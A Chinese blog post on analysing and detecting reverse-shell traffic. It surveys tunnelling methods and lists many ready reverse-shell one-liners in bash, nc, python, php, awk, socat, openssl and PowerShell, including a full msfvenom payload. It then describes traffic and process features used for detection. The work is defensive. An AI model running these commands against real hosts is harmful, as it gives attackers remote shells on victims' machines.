反弹shell流量分析与检测

常用的隧道技术:

网络层:ipv6、Icmp、gre

        IPv6隧道:将ipv6报文放入ipv4作为载体进行传输,工具:socat、6tunnel

        ICMP隧道:将数据放入ping包中进行传输,工具:icmpsh、PingTunnel

        GRE隧道

传输层:TCP隧道、UDP隧道、常规的端口转发。

        端口转发:没有端口限制就正常的内网端口转发,有端口限制就本地端口转发 工具:lcx、nc、powercat

        SOCKS代理:SOCKS代理可以理解为增强版的lcx。

应用层:SSH隧道、DNS隧道、HTTP隧道、HTTPS隧道

        dns隧道:查询的域名不在dns服务器中,就会访问互联网查询,导致与互联网上恶意的dns服务器进行数据交互通信

被控端常见的反弹shell命令

bash

/bin/bash -l > /dev/tcp/10.90.26.43/4242 0<&1 2>&1

bash -i >& /dev/tcp/10.90.26.43/4242 0>&1

0<&196;exec 196<>/dev/tcp/10.90.26.43/4242; sh <&196 >&196 2>&196

sh -i >& /dev/udp/10.90.26.43/4242 0>&1

nc

nc -e /bin/sh 10.10.10.11 443

telnet

telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321

Powershell

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd

Socat

socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane

awk

awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

python

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

php

php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'

php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'

TCP/UDP隧道

nc原始流量

攻击机:

nc64.exe 121.37.25.244 7777 (不指定端口默认端口为31337)

受害服务器:

ncat -l -p 7777 -v -e /bin/bash

初次连接:

在靶机上输入ls、会被编码为16进制放入data进行传输

服务器会将结果用16进制返回,整个payload都是明文传输

特征

明文传输、可直接根据命令检测

nc-ssl加密

如果加上-v ssl选项,使用ssl加密协议传输

靶机:

nc64.exe 121.37.25.244 7777 -v --ssl

服务器:

ncat -l -p 7777 -e /bin/bash -v --sll

服务端生成证书certificate中会设置两个extension字段,其中一个字段会加上ncat注释

Automatically generated by Ncat. See Ncat - Netcat for the 21st Century

特征

含有ncat注释

openssl 加密

使用证书和私钥进行认证

攻击端:

使用openssl生成一个证书,输入后直接回车即可

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

openssl req:调用 OpenSSL 的证书请求(Certificate Request)子命令。

-x509:生成一个自签名证书,而不是证书签名请求(CSR)。X.509 是一种广泛使用的证书标准。

-newkey rsa:4096:生成一个新的 RSA 密钥对,密钥长度为 4096 位。

-keyout key.pem:指定生成的私钥文件的输出文件名为 key.pem。

-out cert.pem:指定生成的自签名证书文件的输出文件名为 cert.pem。

-days 365:指定证书的有效期为 365 天。

-nodes:不对私钥进行加密(即不使用密码保护私钥)。

综合起来,这个命令的作用是生成一个 4096 位的 RSA 密钥对,并使用该密钥对生成一个有效期为 365 天的自签名证书。生成的私钥保存在 key.pem 文件中,证书保存在 cert.pem 文件中,且私钥不受密码保护。

使用证书和秘钥启动一个ssl服务器并监听7777端口

openssl s_server -quiet -key key.pem -cert cert.pem -port 7777

openssl s_server:启动 OpenSSL 的服务器模式。

-quiet:使服务器在运行时保持安静,不输出多余的信息。这个选项可以减少调试信息的输出,只显示必要的错误和警告。

-key key.pem:指定服务器使用的私钥文件。key.pem 是包含私钥的文件路径。

-cert cert.pem:指定服务器使用的证书文件。cert.pem 是包含服务器证书的文件路径。

-port 2333:指定服务器监听的端口号。在这个例子中,服务器会监听 2333 端口

被攻击端:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -connect 10.0.0.1:7777 > /tmp/s; rm /tmp/s

mkfifo /tmp/s:

mkfifo命令用于创建一个命名管道(FIFO)。

/tmp/s是命名管道的路径。

/bin/sh -i < /tmp/s 2>&1:

/bin/sh -i启动一个交互式的Shell。

< /tmp/s将命名管道/tmp/s的内容作为Shell的输入。

2>&1将标准错误(stderr)重定向到标准输出(stdout)。

| openssl s_client -quiet -connect 192.168.0.100:2333:

|管道符号,将前面的命令输出作为后面命令的输入。

openssl s_client是OpenSSL的客户端工具,用于建立SSL/TLS连接。

-quiet选项使输出更简洁。

-connect 192.168.0.100:2333指定要连接的远程服务器和端口(192.168.0.100:2333)。

> /tmp/s:

将OpenSSL客户端的输出重定向到命名管道/tmp/s,这使得Shell的输出通过加密连接发送到远程服务器。

rm /tmp/s:

删除命名管道/tmp/s,清理临时文件。

可以看到数据都被加密了

相比ssl,openssl的Certificate中会有三个extension

使用预共享密钥(PSK)认证

攻击端

openssl rand -hex 48

export LHOST="*"; export LPORT="8888";

export PSK="replacewithgeneratedpskfromabove";

openssl s_server -psk $PSK -nocert -accept $LHOST:$LPORT

生成一个 48 字节的随机数作为预共享密钥 (PSK)。

设置服务器监听的地址和端口,以及预共享密钥。

启动一个 OpenSSL 服务器,使用 PSK 进行身份验证,不使用证书,监听所有网络接口上的 8888 端口。

被控端

Export RHOST="10.60.193.193";

export RPORT="8888";

export PSK="replacewithgeneratedpskfromabove";

export PIPE="/tmp/`openssl rand -hex 4`";

mkfifo $PIPE;

/bin/sh -i < $PIPE 2>&1 | openssl s_client -psk $PSK -connect $RHOST:$RPORT > $PIPE;

rm $PIPE

设置ip、端口、psk

PIPE:使用OpenSSL生成一个随机的十六进制字符串,并将其作为命名管道的名称。

mkfifo $PIPE:在/tmp目录下创建一个命名管道(FIFO)。

/bin/sh -i < $PIPE 2>&1:启动一个交互式Shell,并将其输入和输出重定向到命名管道$PIPE。

openssl s_client -psk $PSK -connect $RHOST:$RPORT:使用OpenSSL的客户端模式,连接到目标主机和端口,并使用预共享密钥进行加密通信。

> $PIPE:将OpenSSL客户端的输出重定向到命名管道$PIPE。

删除之前创建的命名管道,清理临时文件。

可以看到在server hello中无certificate和Server key Exchange

特征

相比ssl,openssl的Certificate中会有三个extension

Socat-ssl加密

攻击端

socat -d -d OPENSSL-LISTEN:4444,cert=bind.pem,verify=0,fork STDOUT

-d -d: 这两个参数用于启用调试模式。每个 -d 增加一个调试级别,两个 -d 表示更详细的调试信息输出。

OPENSSL-LISTEN:4444,cert=bind.pem,verify=0,fork:

OPENSSL-LISTEN:4444: 这个部分表示 socat 将在本地的 4444 端口上监听传入的 SSL/TLS 连接。

cert=bind.pem: 指定用于 SSL/TLS 连接的证书文件 bind.pem。这个证书文件包含服务器的公钥和私钥。

verify=0: 这个选项表示不验证客户端的证书。通常在测试或不需要客户端认证的情况下使用。

fork: 这个选项表示每次有新的连接时,socat 会创建一个新的子进程来处理该连接,从而允许同时处理多个连接。

STDOUT: 这个参数表示将接收到的数据输出到标准输出(通常是终端或控制台)。

被控端

socat OPENSSL:10.155.240.165:4444,verify=0 EXEC:/bin/bash

OPENSSL:10.155.240.165:4444,verify=0:

OPENSSL: 指定使用 OpenSSL 协议进行加密连接。

10.155.240.165: 目标 IP 地址。

4444: 目标端口号。

verify=0: 禁用证书验证。这意味着 socat 不会验证目标服务器的 SSL 证书。这在测试或内部网络中可能是可以接受的,但在生产环境中是不安全的。

EXEC:/bin/bash:

EXEC: 指定 socat 在连接建立后执行一个命令。

/bin/bash: 要执行的命令,这里是启动一个 Bash shell。

跟openssl的Certificate的字段一样会有三个extension,无明显特征,和openssl的证书认证一样

特征

无明显特征

DNS隧道

dnscat 反弹shell

特征检测

数据包中含有netcat关键字

dns数据包过大,与正常的域名dns有差异

与互联网中不受信任的dns服务器进行通信

ICMP隧道

正常icmp流量

4次ping长度是一样的,且请求和响应内容都含有abcdefghijklmnopqrstuvwabcdefghi

linux下为!”#$%&’()+,-./01234567

使用icmpsh工具进行反弹shell

特征检测

检测同一来源的ICMP数据包的流量,一个正常的icmp命令每秒最多发送4个数据包。

注意那些payload大于64bit的icmp数据包。以及同一源目相近时间段icmp的包长是否频繁变化

寻找响应数据包中的payload与请求数据包中的payload不一致的ICMP数据包。

检查ICMP数据包的协议标签。例如:icmptunnel会在所有的icmp payload前面添加”TUNL“标记来标识隧道

MSF反弹shell

使用msfvenom生成相关Payload

msfvenom -l payloads | grep 'cmd/windows/reverse'

msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234

msfvenom 生成的payload如下

powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) {$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='10.90.26.41';$p='6666';$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if ($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e.GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};

Cobalt Strike 反弹shell

反弹shell检测

硬编码特征

1、原始流量的硬编码强特征

命令行提示符

在交互式命令下,受害者机器会把命令行提示符一起往外发

控制器声明

在打开交互型shell连接的时候会有交互的控制器声明

比如使用powershell进行反弹shell,在打开交互型shell连接的时候会有交互的控制器声明

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd

其他声明:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

Linux

dns服务器、证书信任度

2、检测证书生成的有效时间、证书生成和建立连接的时间是否很短

用于检测利用dns进行反弹shell

重定向进程关联监控

检测Shell的标准输入、标准输出是否被重定向到Socket

用于检测 bash -i >& /dev/tcp/10.90.26.43/4242 0>&1 此类交互式反弹shell

tty1、pts/0表示该进程是一个交互式shell,0u,1u,2u分别代表标准输入,标准输出和标准错误输出 ,都指向tty1交互式终端,通过检测交互式shell进程的NODE是否为TCP来判断是否是反弹shell

结合进程网络相关联

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -connect 10.0.0.1:7777 > /tmp/s;

此类反弹shell通过管道、伪终端进行中转,没有直接将shell的输入输出重定向到socket

可通过进程数、进程与网络相关联进行检出,即将交互式shell、管通符、输入输出有关的进程,以及对应的父子进程列出来,与通信进程进行相关联

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值